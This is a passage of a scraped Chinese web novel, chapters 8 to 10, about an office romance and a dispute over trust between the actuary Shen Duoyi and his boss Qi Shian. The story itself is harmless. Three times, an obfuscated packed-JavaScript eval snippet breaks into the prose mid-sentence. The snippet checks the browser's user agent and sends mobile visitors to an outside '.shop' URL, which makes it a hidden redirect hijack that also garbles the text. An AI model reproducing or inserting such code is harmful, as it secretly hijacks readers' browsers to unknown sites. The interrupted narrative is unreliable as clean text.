“不是,平价的。”沈多意笑着吃另外半个,“跟我爸妈的挨着,对了,下次扫墓要告诉他们我换新工作了。” 沈老问:“新工作怎么样,不图赚多少钱,你干得高兴就行。” 沈多意啃完了苹果:“挺高兴的。” 脑海中浮现出戚时安的脸,他掐着苹果核的手指都加了力道,猜测着对方两天过去有没有消气,毕竟他背后说人在先,没占什么道理。 两方都心思不宁,把假期过成了漫长的折磨,太阳几番起落后,终于迎来了新的一周。 戚时安不在家吃早餐,只西装革履地坐在圆桌旁喝水,伸手摸摸花瓣,心中隐含的期待又增添了半分。不是他吝啬,而是期待这种东西就像股票,要谨慎对待,不然可能承受不了意想不到的失落。 花店送来了新的绣球花,圆圆一株放在透明的广口小花瓶里,希望沈多意也已经变得神采奕奕。 明安大厦旁边的咖啡厅内人满为患,似乎整条街的上班族都在这里排队买早餐。沈多意出门很早,还有两个人就排到他了。 “沈组长,早安。” 沈多意回头看见了安妮,笑着说:“早,你要吃什么,我帮你一起买。” “谢谢沈组长,我路上堵车了。”安妮望了眼长长的队伍,回想着餐单说,“帮我买两个咸肉三明治,一份奶油包,一份晨间小食,再加杯黑咖啡。” “好,我记住了。”沈多意笑答,内心却咂舌。买完离开,和安妮一起进了明安大厦,安妮拎着两包早餐,解释道:“这是戚先生的,他都是在公司吃早餐。” 沈多意吃惊道:“他习惯早餐吃这么多?” 安妮小声说:“跟他的午餐比起来,算少的啦。” 沈多意使劲扒拉久远的回忆,想起那时候他在国宾的餐厅打工,戚时安貌似点了很多道菜,当时以为对方想让他多忙活几趟,没想到是真的饭量惊人。 戚时安到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727242|189514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 达三十层的时候安妮已经开始工作了,他进入办公室后便闻见咖啡的味道,等喝进口中发觉加了不少量的牛奶。 安妮敲门进来:“戚先生,这是章先生秘书送来的资料。” 戚时安吃着奶油包:“放桌上就行,顺便给我重新泡一杯黑咖啡。” 安妮反应迅速,立刻伸手拿了桌上那杯,解释道:“排队的人太多,早餐是沈组长帮忙买的,估计是拿错了,我马上去给您泡一杯。” 办公室的门关上,戚时安把最后一口奶油包咽下去。 他没想到沈多意喝个咖啡要加那么多奶,看来很怕苦。 “戚先生,”安妮去而复返,手中多了杯咖啡,“抱歉,以后不会再犯这种错误了,我另外泡了杯多加奶的,立刻给沈组长送过去。” 戚时安没抬眼:“不用,再应酬你一遍反而让他累。” 沈多意在咨询部的会客室见客户,巧的是这位客户在保险公司办了巨额保单,他们之前打过照面。从投资项目的选择到风险预估,还有前景分析和损失模型的建立,沈多意做了详尽的说明,水都没顾上喝一口。 聊到最后,客户问:“我之前的保单就是你设计的,听说最近推成明星产品了。感觉你在保险公司的前景不错,怎么跳槽了?” 沈多意笑笑,避重就轻道:“您过奖了,以后如果您还有保险方面想了解的,随时找我都行。” 把客户送到门口,回办公室时碰见齐组长出来,对方说:“到饭点了,直接去餐厅吧。” “好,没想到跟客户聊了一上午。”沈多意惊觉时间过得太快,前往餐厅的路上和对方讲了讲客户的想法,他虽然觉得每个组之间应保持泾渭分明,但毕竟同属一个部门,所以没有藏着掖着。 公司餐厅座位间距不大,此时人也不算太多,齐组长扫了一眼,说:“戚先生今天下来得这么早,他一般都是过了高峰期。” 沈多意心中“咯噔”一下,他以为在那晚闹僵之后,自己已经恢复了云淡风轻,谁知他并没有做好碰面寒暄的准备。 他找了个借口:“我想起来早餐买了没顾上吃。” 早餐吃了很多的戚时安又端了满桌的菜,筷子刚碰到碗里的饭就感觉到眼皮突突直跳,皱眉抬眼望见沈多意的背影消失在餐厅门口。 他出声叫道:“齐组长,我菜要多了,一起吃吧。” 齐组长落座,两个人面对面开吃,戚时安默不作声,吃到一半才问:“跟着我这边开了次会,怎么样,你们部门感觉有帮助吗?” 齐组长认真回答,答完不失客观地说:“可惜刚才沈组长回去了,不然可以多反馈点看法给您。” 戚时安无所谓地问:“他上去干吗?不吃饭啊。” “说是早餐买了没顾上吃。”齐组长表示理解,“上午有个大客户,可能也因为比较忙吧。” 来用餐的人逐渐多了起来,戚时安速战速决,吃完又要了杯多加奶的咖啡。他一路上作着激烈的思想斗争,犹豫要不要去咨询部送趟外卖。 可身体却好像听命于另一套系统,进入电梯后直接按下了咨询部所在的楼层。 前台小姐已经不想活了,戚时安端着咖啡经过,不大高兴地说:“换点贵的化妆品吧,每天对着门口补妆很煞风景。” 他直奔沈多意的办公室,走到门口却发现里面没人。 戚时安独自尴尬,甚至为自己主动而来生起闷气。当初围追堵截都没被这么躲过,如今做正人君子反而这种待遇。他进去把没动过的黑咖啡换掉,然后头也不回地走了。 他是老板,让沈多意上三十层不过一句话的事儿,何苦这么费劲。 然而就算要躲,也不会未卜先知,沈多意正坐在茶水间里,准备吃刚洗好的大鸭梨。 8. 第 8 章 沈多意和客户谈了一上午,此时庆幸自己带了个水分十足的大鸭梨。在茶水间洗干净削完果皮,细嚼慢咽下了肚,期间还看了会儿网球比赛。 没想到的是,回去后发现办公桌上的咖啡变了样。 他还没来得及思考何人到访过,就接到了上午那位客户的电话,等电话讲完,午休时间基本已经结束了。多奶的咖啡灌进口中,他马不停蹄地开始了下午的工作。 “章先生?” 偶一抬眼,看见章以明正好经过办公室门口,沈多意打了声招呼,没想到对方紧接着推门而入。章以明在桌对面的椅子上坐下,随手拿起文件来看,问:“今天忙吗?” 沈多意回答:“还行,上午见了盛昭的徐先生。” “噢,我知道了,他想开个人账户,之前遇见聊过两句。”章以明往桌上扫了一眼,“给他的最终方案做出来了么?” “还没,因为中午徐先生打来,说想要再开一个企业账户,让我先出计划。”沈多意将电脑屏幕转向章以明,“企业账户的话投资额成倍增加,选择也有变动,我想多做两个备选。” 章以明点点屏幕上的表格:“确定区间就好,不要太过精确。” 沈多意不好意思地笑笑:“以前的职业习惯,我会注意的。” 万花丛中过,恨不得每片叶子都沾上身的章以明微微走神,不太优雅地揣测片刻,探寻道:“你升总精算师不难,为什么不做了?” 怎么都好奇这个问题,沈多意夹着笔,他知道这样问的都不想听寻常那套说词,比如更多样的发展、更高的薪水。可他不太擅长应付上级,此时考虑半天也给不出合适的答案。 “我随便问问的。”章以明展颜一笑,“徐先生是大客户,有什么问题可以直接问我,技术范围上的可以问戚先生。” 沈多意点点头:“谢谢章先生。” 说归说,层级分明的话,最忌讳的就是越级报告,哪怕请教问题也是一样。章以明走后,他继续完成之前的计划,预计在三天内再约见一次徐先生。 作息规律非常难办到,沈多意只能达到一半,就是按时起床工作,但休息时间可以无限延后。连续几个晨昏忙碌无休,每天比豆浆机起得还早,计划书改了又改,数据图都能装订成册。 由于太忙,他这几日都很少离开办公室,也没机会碰到戚时安。他自作多情地想,自己工作这么努力,不管是戚时安还是八时安,谁知晓了都觉得欣慰。 实际上,三十层毫无欣慰的气氛可言,安妮觉得老板每天都不怎么高兴,说话也越来越冲。这会儿难得老板不在,她才稍微放松了些。 戚时安扎进了期货部的操盘室,比起窗明几净又舒适宽敞的办公室,他更喜欢这个“非请勿入”的重要地盘。贵金属都是夜盘开通,他此时不那么忙,便问手底下的二级操盘手:“最近在玩哪支股?” 对方老实回答:“春城股份,您帮我看看?” “还用看么?”戚时安事不关己高高挂起,德行特别气人,“我早上瞄了一眼,指数已经破位下跌了。” 他说完看着对方无奈又心疼的表情,估计人家赔了不小一笔。但他没动恻隐之心,反而异常理性地批评道:“你会开奔驰,难道换辆宝马就不会开了?同样,你懂操作期货,换成股票就犯错误了?” “技术是基础,经验积累学会摸索概率,根据走势果断止损。”戚时安叹口气,“一共就这三点,你哪条容易忘就写下来,每天念叨几遍。” 主管开玩笑般插话道:“概率摸不准就请教请教咨询部的沈组长,人家学那个的。” 哪壶不开提哪壶,戚时安好不容易忘了,此时又被迫想起。他以为沈多意故意躲了他好几天,还纠结他那句话是不是严重到老死不相往来了。 手机蹦进来一条信息,章以明发的:“之前给你的资料看了吗?” 戚时安回道:“没空。” 不急着处理的文件都用黑色夹子,所以他没及时看,后来事忙就搁忘了。此时章以明主动询问,于是他立刻起身回了三十层,不打算继续耽误。 夹子打开,第一张是某咨询公司的基本资料,翻过这页,内容是罗列出的高级顾问姓名和照片,其中最年轻最好看的那张证件照下面,写着沈多意的名字。 再回看公司注册人,是沈多意原先的上司。 保险那行,尤其到了沈多意的上司那个职位,都和保监会的人非常熟稔,因此单独办个小公司不是什么问题。何况咨询公司和保险公司的性质不同,所以睁一只眼闭一只眼也就过去了。 关于挂靠执照其实也没什么,无非是赚个外快。 但现在的问题是,沈多意已经在明安工作了,并且咨询公司的老板是他原来的上司。那他会不会把在明安获得的信息透露给他的上司?或者共享明安的数据? 沈多意浑然不知发生了什么,抽回与徐先生握着的手,然后做了个“请”的手势,说:“如果计划没问题,等最终方案做完后,就可以签合同了,我会把企业账户和您个人账户的两份方案一并做出来。” 把徐先生送出了门口,他在忙碌多日后总算完全放松下来,去洗手间洗了把脸,想起来孟良拜托他的事情。 沈多意打过去说:“晚上有空吗,说说你的产品。” 孟良应道:“必须有空啊,我请客,把地址发给你。” “好,下班见。”沈多意握着手机回办公室,终于可以更新下一阶段的工作概要了。刚拿起笔,内线电话又响了起来,他没看来电显示,接起后说:“您好,我是沈多意。” 那边顿了片刻,自我介绍似的:“我是戚时安。” 笔尖戳在便签纸上,形成一个黑色圆点,沈多意拿着听筒,分辨不出对方心情如何,毕竟短短一句话太过单薄。 他询问道:“戚先生,有事吗?” 戚时安觉得文件上的事三两句说不清楚,便反问:“晚上有没有时间一起吃饭?” 沈多意如实回答:“抱歉,我约了朋友。” 戚时安不知道对方是真的约了朋友,还是在躲他,可他是真的有事要问,“到三十层来一趟。”说完直接挂了电话。 本就临近下班,沈多意到三十层的时候安妮已经在收拾东西了,打过招呼便把手机调了静音,然后叩了叩办公室厚重的门。 “进来。” 他得到回应后推门进入,径直走到戚时安的桌前停下,看对方的架势似乎一时半刻无法结束,于是他拉开椅子坐了下来。 几日未见,好像那晚的事情已经变得久远,戚时安看着对方行若无事的模样,又回想起那天在餐厅瞥见的背影,于是一开口就问跑了:“你躲着我呢?” 沈多意否认:“没有。” “那你在餐厅看见我就走?”戚时安咄咄逼人,“办公室也不待,怕我找你?” 沈多意微怔,有点迷茫,回答道:“我这几天忙徐先生的事,真的没有顾及其他的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727243|189514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这答案并不能让戚时安满意,他甚至跳到了更刁难人的角度,问:“压根儿对我都不管不顾了?”随即想起文件内容,心情愈发的难以言喻,问出口的句子纠缠着一丝无可奈何,“我在你眼里,到底是个什么人啊?” 沈多意被一连串的质问弄得无话可答,细数下来没有一句与工作相关,在电梯里的时候他还以为戚时安是问他与徐先生的合作。 没期望过表扬与肯定,但也绝没料到是这种结果。 他有些怅然若失地望着对方,也问:“我在你眼里,又到底是个什么人啊?” 有的话不问就什么事都不会发生,但只要问出口半句,那所有情绪就如同开闸泄洪了,再说谁不会翻旧账? 沈多意没等戚时安回答,继续道:“你无非是觉得我为那晚的话生气,甚至躲避。实话实说,我的确很郁闷,我是在夜总会端过盘子,还为了两千块钱喝得直不起腰,但不至于和夜场混的人一并比较吧,所以我当时很不舒服。” 戚时安反击道:“你在背后说我乱搞,难道我就很舒服?” 那就互相扯平,又提起干什么?沈多意冷眼瞪着对方,有些迟疑地说:“你自己花名在外,连保险公司的人都知道。” “你还主动提保险公司?”戚时安火气顿生,以为沈多意还在嘴硬,不然他怎么不知道自己花名在外。把黑色文件夹摔过去,嘲弄道:“保险公司的上司比我好多了吧?一条消息孟平给你多少钱?” 沈多意没注意那份文件,以为戚时安只是单纯地发火,他猛地站起身,避免对方气极砸到自己,回道:“什么钱?你叫我上来到底要说什么?” 戚时安高声道:“你自己看!” 沈多意疑惑又生气地捡起那份文件,打开先是一愣,随后明白了戚时安的意思。最无解的是,这件事可大可小,他的态度和解释很重要,可戚时安刚才的问题说明他的可信度并不高。 沈多意执拗又失落地看着对方:“从过去到现在,我在你眼里都是一个用钱就能搞定的人,对吗?” “那要看你怎么解释这件事。”戚时安也站起身,甚至绕过办公桌走到了沈多意的面前,他同样执拗,并且多添了把愠怒,“我在你眼里,不也始终不是什么正经人吗?” 偏见大于吸引,还是吸引大于偏见,股市都没他们那么难以揣摩。 人类是高等动物,但被情绪支配时还不如猫狗的自控力强。彼时都曾为了那晚的失言感到抱歉,而此时却又有了羽箭扎对方的心脏。 沈多意迎着压迫感抬起下巴,反击道:“你自己不也说了吗,你都搞过。” 戚时安笑得极其浑蛋:“我说什么你都信,那我现在说想要你,你是不是要报警?” 浑蛋、无耻! 沈多意反应了片刻才懂,他把骂人的话封在喉咙口,握紧拳头朝对方挥了过去,然后狠命打在戚时安的嘴角! 戚时安被打得微微偏过头去,并且眼疾手快地抓住了他的手臂。沈多意轻飘飘地说:“我袭击你了,你可以报警。” 嘴角破了点皮,戚时安捉着手里挣动的爪子笑开,更加无赖道:“报啊,就说沈多意啃破了戚时安的嘴角,看警察怎么处理。” 沈多意涨红了脸,气得颤抖着说不出话,憋了半天才自以为厉害的诅咒道:“你少缺德了吧!出门不怕被车撞么?!” 谁料戚时安眼神息变,气焰也顿时灭得不见踪迹,他低声道:“你忘了吗,你祝过我‘出入平安’。” 9. 第 9 章 自从那一晚后,沈多意便再没去过那间夜总会。 他回家睡了一上午,将养自己时不时抽疼片刻的胃。平躺在床上,回想昨晚被温暖的掌心捂了一夜。他伸手自己捂住,可是他的手掌不算热,但也不是冰凉,触碰在肌肤上起不到任何作用。 沈多意放弃了,闭眼之前翻身侧躺,把被子卷进怀里死死抱住,将缝隙和虚空全部都填满。他要再睡一会儿,睡醒了还要打起精神琢磨个新工作。 他忽然觉得特别累。 不是生理上的劳累,而是从心底生出的、充满无奈的疲惫。 三十层静得只能听见钟表的走针声,安妮已经下班离开,高级合伙人办公室紧闭着厚重的门,里面的两个人争吵完陷入了无限的死寂。 沈多意无奈顿生,疲惫感在他的身体各处肆意蔓延,要不是被戚时安捉着只手臂,估计摇晃两下就会跌坐在沙发椅上。 他恍惚觉得回到了过去那天,觉得他需要琢磨个新工作。 戚时安在刚才那场争吵中取得了最后的胜利,看着沈多意由干净的脸庞逐渐变得面红耳赤,他有种恶作剧成功的快/感,而等沈多意面上的红晕褪去,脸蛋儿和薄唇一并发白,他又隐隐悔青了心肠。 调成静音的手机平放在桌面上,屏幕不合时宜地亮起来,闪烁出“孟良”的名字。沈多意已经忘记还约了人,他不知道要在这儿僵持多久,想着好歹通知对方一声,于是轻声问道:“我可以接吗?” 戚时安喉结滚动,咽了口空气,这口空气顺着咽喉向下,带着无色无味的酸性物质,把他的心软化了大半。 “接吧。”他松开手,“去赴约,我们明天再谈。” 沈多意拿起手机接听,目光低垂盯着摔在桌面上的文件夹:“孟良,我这边有点事情没忙完,明天再见吧,把孟老师也叫上。” “叫上叔叔?”孟良应道,“行,那明天见。” 电话挂断,沈多意已经恢复了心平气和,他重新打开黑色文件夹,认真地翻看了一遍。看到最后一页,他郑重地说:“刚刚约了孟老师明天见面,所以我两天内会尽快给公司一个解释,严谨一点走书面吧,我到时候递交说明报告。” 戚时安把文件抽回放在桌角:“我等你的报告,现在下班吧。” 沈多意始终没有抬眼,他拉开挡路的椅子,哪怕往外走的时候也没直视前方。还有三两步就走到门边了,他忽然停下,背对着戚时安。 戚时安凝神望过去,不知道对方在犹豫什么。 “其实,”沈多意垂着的手握成了拳,“你作为新上司,很好。” 在没有不耐烦的几封邮件里。 在投影下款款而谈的从容里。 在被替换掉的咖啡的香气里。 真的很好。 戚时安忘记了嘴角的伤口,“嘶”的呼了一声痛,却仍然笑着,他得寸进尺地问:“那我和那个孟老师,谁更好?” 他没想为难沈多意,于是自己抢答道:“知道了,我更好。” 沈多意慢慢走到了门边:“我的报告是一方面,公司的看法可能是另一方面,到时候叫上章先生一起,不管怎么处理,我都没有异议。” “如果开除呢?”戚时安不动声色地拿了外套和包,然后缓步靠近立在门边的人,“而且如果你的解释没有说服力,是要赔偿公司的。” 沈多意回身:“金额很大的话,能分期付款吗?” 戚时安一边笑一边呼痛,嘴角的伤口被他生生笑得流了血。接过沈多意递来的纸巾,他轻轻擦拭了一下,说:“你可以雇我帮你炒股,我赚钱很快的。” 沈多意问:“你一小时多少钱?” 他们俩站在门边,把时间浪费在几句无意义却好笑的对话里。沈多意刚刚那句话一经说出,彼此俱是一怔。四目相对下,又同时陷入对方深色的瞳孔中,穿梭进脑海深处的回忆里。 戚时安曾去酒吧堵沈多意,也问过这么句话:“你一小时多少钱?” 沈多意撒谎说“两百”,然后把两百块钱全请了戚时安喝黄油啤酒,算是对夜总会那晚的感谢。戚时安喝完没再捣乱,只安静待着看对方工作。 一直待到打烊,他在门口执着地等,抬眼却见沈多意穿着整齐的校服出来。 那个瞬间,戚时安想到了无数种纠缠的方式,甚至猜测沈多意成绩好不好?有没有兼职做家教?有的话他一定要绑着霍学川找沈多意上课。 钟表响了,两个人从回忆里抽身,各自撇开目光,一前一后离开了办公室。电梯上的数字匀速跳动,电梯门映着的两张面容却无任何表情变化。 取车时,戚时安发现沈多意开的是黑色大众。 全国将近百分之七十的人都开黑色大众,因此他不至于生出什么幻想。 背道而驰的两辆车消失在街头,沈多意握着方向盘转弯时,瞥见手背上擦破了一小块,应该是揍戚时安时磕到了对方的牙齿,神奇的是他居然丝毫没觉出痛。 可能当时真的太生气了,有种秀才遇到兵的崩溃感。 春困意懒,到家时沈老已经休息,沈多意把客厅的地板擦了两遍,然后又坐在阳台上把沈老的几双布鞋刷洗干净。他忙活完仍卷着袖子,仰头朝窗外的天空望了望,可惜看不见雾霾后面的星星,只能看到朦胧的月亮。 阳台上渐渐有些冷了,沈多意转移到了卧室,背靠床头,盘腿放着笔记本电脑,床头柜上的热茶白烟袅袅。营造完舒适的环境后,他打开文件开始继续忙活徐先生的方案。 期间一直无人打扰,十点多的时候手机在腿边振动起来。 “多意,我刚开完会,是不是有什么事儿?” 开门见山的问题省了问好与铺垫,沈多意便直接答道:“孟老师,公司查到我在您那儿的信息了。” 电视开着,里面是网球决赛的直播,茶几上摊着外卖餐盒,还有三四罐啤酒。章以明钟爱沙发前的纯毛软垫很久了,于是席地而坐。戚时安半躺在沙发上,一边操作电脑一边注意着赛况。 “最后一块辣翅,你还吃么?” “不吃,嘴角疼。”戚时安盯着屏幕,“你多吃点,搞调查怪累的。” 章以明把辣翅塞进口中,利齿尖牙顺着骨头捋过,辣翅基本就骨肉分离了,他挑眉说道:“哪个突然跳槽的中高层不调查?何况他在原来的公司前景那么好。别说的像我针对他,其实我还挺喜欢他的。” 戚时安敲键盘的力度大了些:“你有不喜欢的吗?” “有,你啊。”章以明笑着把垃圾收好,“沈多意是游哲推荐来的,虽然咱们和游哲都是朋友,但我开始就留着个心。” “你倒是知道防人之心不可无,没成想和他有联系的是旧上司。”戚时安敲下回车,“沈多意的信息已经被撤下了,还挺快。” 章以明问:“你说这件事怎么处理?” 戚时安故意道:“咨询部归你管,别问我。” “噢,行吧。”章以明清清嗓子,“也别递报告那么麻烦了,保险起见,我直接出解雇信吧。” 戚时安合上电脑,侧身靠着沙发看比赛,目不转睛地说:“随便,盛昭这单跟着黄了的话,你自掏腰包补上。” 他说完又加了一句:“孟平的咨询公司,沈多意不是合伙人。” 这话说完,章以明没有吭声,整个房间只有电视里的解说员在制造动静。 无名无口碑的咨询公司如同恒河沙数,担不起大客户,目标人群集中在散户之间,费劲巴拉忙活上十几单,到头来的盈利可能只够得上明安一个客户的交易额零头。沈多意连合伙人都不是,也就没有分红或抽成,只能领取一份薪水而已。因此但凡有些考量的,都不会为了那点薄薪,用明安的丰酬和发展空间去冒险。 戚时安斜睨了对方一眼,估计自己说得已经足够明显。比赛结束,他支持的选手赢了,便关电视起身:“解雇信省了,你还是安心等说明报告吧。” 章以明看似无精打采,但眼神中又暗暗逸出一丝不怀好意的坏劲儿,说:“你这些只是合乎理据的推测,可是世界上有种东西最能打破理据,那种东西就是——情感。沈多意做了四年,前景大好,为什么突然辞职?肯定发生了什么事儿。” 戚时安拿着笔记本电脑的手有些酸,没好气道:“你调查他到底是为了公司,还是为了满足你自己的八卦之心?” “都有吧。”章以明回答得理直气壮,“那你这么为他说话,是为了公司,还是为了什么别的?” 戚时安不止理直气壮,可以称得上是振振有词了:“当然是为了公司,沈多意刚来没多久,马上就要搞定盛昭了。” 他向来吝于分享自己的感情活动,尤其不会和章以明这种万金砸过去也拉不回的浪子倾诉。又或者是,他自己都不确定那份“别的”是指什么。 是喜欢吗? 可沈多意刚揍了他一拳,都流血了。他也把对方气得够呛。 戚时安动动嘴角:“我睡了,你自便。” 据说深蓝色的寝具最有助于睡眠,可惜戚时安的床单和被套除了深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727244|189514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灰就是浅灰。他把双层厚窗帘拉上,然后毫不留恋地关了灯,睡前忍不住想,黑漆漆一片,哪能看出是什么颜色,估计理论不成立。 同样需要判断是否成立的,还有沈多意发来的自证说明。 挂靠信息对外都不采用真名,也没有照片显示,所以沈多意是被专门调查到的。他那晚告知孟平后,咨询公司立刻撤下并永久注销了他的信息。 会议室里,戚时安和章以明坐在一侧,沈多意坐在对面,中间隔着宽大的会议桌。两份说明报告分别被两位老板拿在手中翻看,沈多意十指交叉置于桌上,语气急缓适当地说:“我的信息几乎是一毕业就挂在上面了,截止到昨天差不多已经四年,久到我自己都忘了。” “孟老师是孟良的叔叔,我和孟良是同专业的师兄弟,所以孟老师很照顾我。那时候我在攒钱买房子,为了让我多赚一点,所以让我挂靠了信息。” 精算师极少挂靠执照,沈多意那时候还只是准精算师,所以咨询公司对外的信息也没有什么噱头。“如果孟老师不是老板,应该也不会有公司让我挂。”沈多意微微低头,有些不好意思,“对方真的只是在帮我。” 章以明摆摆手做了个“暂停”的手势:“这一点先不论,说破大天不外乎是赚个外快。公司顾忌的是——同行竞争。” 明安随便一点内幕消息和客户数据都够小型咨询公司吃两年,而沈多意又对孟平怀着感恩的心,因此难免让人不多想。 戚时安用短而修整的指甲刮刮眉心,心说章以明真会引导,摆明要窥探对方关于辞职的私隐。他抬眼看向沈多意,说:“章先生问的只能你口头解释,书面没法说明。” 沈多意松开交叉的十指,这个动作表明他彻底放松了,解开了自我保护的防御姿态,他不紧不慢地回答:“只有小型咨询公司才需要挂信息吸引客户,因为没有资本聘请那么多专业人员,更担不起明安负责的大客户。那里十单的总成交价还不如明安一单的几十分之一,数据给他们不是吃两年,而是根本吃不下。” “孟老师对我确实很好,那两年挂名信息总共给了我六十万,但是我为了报答他选择辞职进入金融行业,再盗取数据反馈回去,然后他再发展客户,未免太复杂、太耗时了。”问题是章以明问的,沈多意却看着戚时安,他自己都没发觉。 戚时安饶有兴致地问:“那你是怎么报答他的?” 沈多意一愣:“这也要说吗?” 章以明叩叩桌面:“可以不说,无非就是整体可信度降低一些。” 沈多意仍望着戚时安,坦白道:“辞职前就回报完了,保险公司去年推出的产品‘白金计划’其实是我设计的,我把它送给了孟老师。” “白金计划”是去年最热的保险产品,章以明有点难以置信地问:“他给你六十万,你还了他上千万?” 沈多意终于不再看着戚时安,垂下眼点了点头:“恩情不能那么算,雪中送炭可能只送了一小块炭,但带来的温暖是无穷的。” 章以明没有想到职场还有这么纯粹的帮扶关系,沉默片刻等惊讶感逐渐平息,但好奇心反而更盛,问:“那你怎么辞职了,感情崩了?听说孟平还曾把他女儿介绍给你。” 虽然垂着眼,可沈多意能感觉出有道目光打在他身上。他点点头,从实回答道:“之前相亲来着,不太合适,不过大家一直是朋友。” 良好和态度与合理的解释是一方面,创利水平和专业素养是另一方面。沈多意武器太多,即使手法温柔,也照样能把对方朝他伸出的枝杈一一斩落。 他主动提出多签一份附加协议,给双方多一层保障。 协议签完,章以明带走盖章收存,会议室里只剩下他和戚时安。戚时安没说什么话,此时端着杯子慢悠悠地喝水,好像在咖啡厅约会似的。 沈多意看看手表:“戚先生,那我回去了?” 戚时安捧着水杯:“你刚才解释的时候,为什么一直看着我?” 沈多意静了片刻,回答道:“我想对你证明,我不是为了钱什么都做。” 窗户纸乍然捅破,细雨清风一并涌入,倘若屋檐上挂着串风铃,那此时一定在叮咚作响。戚时安心中豁亮,他们之间的偏见本如潮汐涨退,可是沈多意竟然主动一步,从此在他心间植了密树,还筑了长堤,意图把偏见全部摒除在外。 他已败退,却得寸进尺:“为了人情也不行。” “什么?”沈多意没反应过来。 戚时安虚张声势:“再随便相亲,我亲自出警告信。” 10. 第 10 章 比起三十层简约又沉闷的装修风格,章以明的办公楼层要花哨温馨得多。他对待秘书的着装更是宽松,甚至还要求人家多穿亮眼的颜色。 办公室的门上挂着一圈圣诞花环,其中一颗松果已经松动,估计坚持不了多久就要掉了。屋内光线明亮,深棕色的皮质沙发旁摆着张浅棕色的藤编圆椅,几个方形靠垫随意搁在沙发和椅子上,让人想窝上去眯一觉。 章以明坐在办公桌后审核手下部门的报告,桌上摆着不少零碎的工艺品。不止桌上,但凡能放置装饰品的地方都没空着,他喜欢出差的时候买点小玩意儿回来,有些送人,不过大部分都堆在了办公室里。 秘书送来下周的工作安排,章以明的目光没离开过文件,头也不抬地问:“晚上有什么活动?” 秘书回答:“晚上约了证监会国际合作部的李先生吃饭。” 章以明烦道:“通知戚先生,让他去。” 说曹操,曹操到。戚时安忙里偷闲过来一趟,正好听见章以明给自己派遣工作。等秘书离开,他自顾自到沙发上坐下,既不说明来意,也不说是否同意去应酬。 章以明心中明白,拿起手机拨出号码,等里面接通便温柔地开口:“孟小姐,上次关于重疾险还没聊清楚,晚上见个面?” 戚时安皱眉看向对方,随着电话挂断忍不住问:“这么巧,姓孟?” 你永远想象不到猎艳高手的狩猎范围,章以明带着不屑和心疼看向戚时安,觉得饱汉子嘲笑饿汉子饥是种相当没素质的行为。他坐在椅子上旋转半圈,面对高空外的阳光,说:“虽然我在两性关系方面没什么底线,但做第三者的话还不至于。” 怪不得查沈多意,还拐弯抹角探听沈多意辞职的原因,戚时安不爽地问:“怎么,现在放心了?” “想套话?”章以明又转过来,“孟平的女儿之前进了保险公司,让沈多意带着,俩人还相了亲,保险公司的人都说他们般配。所以我得弄清楚,别破坏了人家。” 谁知查出咨询公司的事儿,正好摊开说清,还能防患于未然。 戚时安本就是来问章以明折腾的原因,此时一切理清便不再多待,起身把西裤上的褶皱拍平,往外边走边说:“和李先生约的地址发给我,这轮我去。” 长长的走廊载满了阳光,但又被几何支柱的影子切碎,盯久了恐怕会头晕。戚时安闲庭信步般往长廊那头的期货投资部走去,经过饮料机时突然想来杯果汁。 液体声滴答,遮掩了由远及近的脚步声,他略迟地扭脸看向期货部门口,见沈多意拿着一沓文件款款走来。走到他跟前时,杯中的果汁正好接满。 “喝东西?” “嗯,和期货部的同事聊了半天,有点口渴。”沈多意去拿杯子,感觉到戚时安想把接好的那杯让给他,便抬头率先说道,“他们部门好冷,我喝点热的。” 两个人各端一杯站在走廊上看风景,戚时安等会儿还有事情要忙,简明扼要地问:“去期货部有事儿么?” 沈多意递出文件,回答道:“是徐先生个人账户的方案,他想试试期货,我弄完去问了问同事们的意见,您看一下?” 戚时安接过翻看,沈多意在旁边继续道:“我选的是合约品种,一来有比较明显的方向,好做。二来周期短,不少都是几个月就定形态了,战线过长的话徐先生可能会没耐心。” “你很了解他?”戚时安看着文件问。 “还好,以前打过交道。”可能是老早就出来打工的原因,沈多意很擅长配合其他人的行事习惯,说优雅点叫“情商高”,通俗点就是会“看眼色”。他帮戚时安翻过下一页,说:“这是筛选的几项,还没最后定下来,主力合约和非主力合约都有。” 戚时安用指甲在纸面上划过,直到出现痕迹才停下,说:“周期短,形态要及时把握,并且和短线意图一起。主力合约的行情稍稳定,不容易走极端。其他的,有几样需要保持谨慎,估计期货部那几块点心已经嘱咐过了。” 沈多意接过文件,顺便仰头喝掉最后一口饮料,说:“这几条建议我记住了,谢谢。那我回去做事了。” 走开几步,他停下转过身。戚时安问:“还有什么事儿?” 沈多意疑惑道:“是我听错了吗?什么点心?” 戚时安昂然自得地笑:“废物点心,股票都玩儿不好。” 